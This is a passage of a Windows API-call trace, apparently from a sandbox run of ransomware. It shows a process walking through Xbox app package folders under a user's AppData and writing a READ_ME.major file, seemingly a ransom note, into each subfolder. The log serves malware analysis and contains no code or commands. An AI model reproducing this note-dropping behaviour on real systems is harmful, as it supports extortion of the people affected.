ftLastWriteTime.dwLowDateTime=0x9137e762, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.299] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0191.299] WriteFile (in: hFile=0x974, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.300] CloseHandle (hObject=0x974) returned 1 [0191.300] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9137e762, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd22d3ee3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9137e762, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.300] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b10a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x936165c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244ab011, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86c68 [0191.300] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b10a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x936165c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244ab011, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.300] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936165c3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9361c775, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9361c775, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.301] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0191.367] WriteFile (in: hFile=0x978, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.368] CloseHandle (hObject=0x978) returned 1 [0191.368] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935c21cd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935c21cd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x935c21cd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.368] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0191.370] WriteFile (in: hFile=0x978, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.370] CloseHandle (hObject=0x978) returned 1 [0191.370] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b8588, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239b4f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x935b8588, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.371] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0191.371] WriteFile (in: hFile=0x978, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.372] CloseHandle (hObject=0x978) returned 1 [0191.372] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b10a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239bf5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x935b10a7, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.372] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0191.372] WriteFile (in: hFile=0x978, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.373] CloseHandle (hObject=0x978) returned 1 [0191.373] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244ab011, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x244ab011, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x244aeb4b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.373] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b376c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239c8b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x935b376c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.373] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0191.373] WriteFile (in: hFile=0x978, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.374] CloseHandle (hObject=0x978) returned 1 [0191.374] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935bacb1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935bfac7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x935c355f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.374] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0191.375] WriteFile (in: hFile=0x978, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.376] CloseHandle (hObject=0x978) returned 1 [0191.376] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935be769, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935be769, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x935be769, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.376] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0191.376] WriteFile (in: hFile=0x978, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.377] CloseHandle (hObject=0x978) returned 1 [0191.377] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b5e79, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239e313, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x935b5e79, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.377] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0191.378] WriteFile (in: hFile=0x978, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.378] CloseHandle (hObject=0x978) returned 1 [0191.379] FindNextFileW (in: hFindFile=0x2f86c68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b5e79, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239e313, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x935b5e79, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.379] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf22e0430, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x244aeb4b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86f68 [0191.379] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf22e0430, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x244aeb4b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.379] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf22e0430, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.379] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0191.381] WriteFile (in: hFile=0x97c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.382] CloseHandle (hObject=0x97c) returned 1 [0191.382] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf213ca5b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.382] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0191.383] WriteFile (in: hFile=0x97c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.386] CloseHandle (hObject=0x97c) returned 1 [0191.387] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf213ca5b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.387] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0191.387] WriteFile (in: hFile=0x97c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.388] CloseHandle (hObject=0x97c) returned 1 [0191.388] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf20f05a0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf20f05a0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.388] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0191.389] WriteFile (in: hFile=0x97c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.389] CloseHandle (hObject=0x97c) returned 1 [0191.389] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244aeb4b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x244aeb4b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.389] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf20f05a0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf20f05a0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.390] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0191.390] WriteFile (in: hFile=0x97c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.391] CloseHandle (hObject=0x97c) returned 1 [0191.391] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf213ca5b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.391] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0191.392] WriteFile (in: hFile=0x97c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.393] CloseHandle (hObject=0x97c) returned 1 [0191.393] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf213ca5b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.393] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0191.393] WriteFile (in: hFile=0x97c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.394] CloseHandle (hObject=0x97c) returned 1 [0191.394] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd24a61dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf20f05a0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.394] CreateFileW 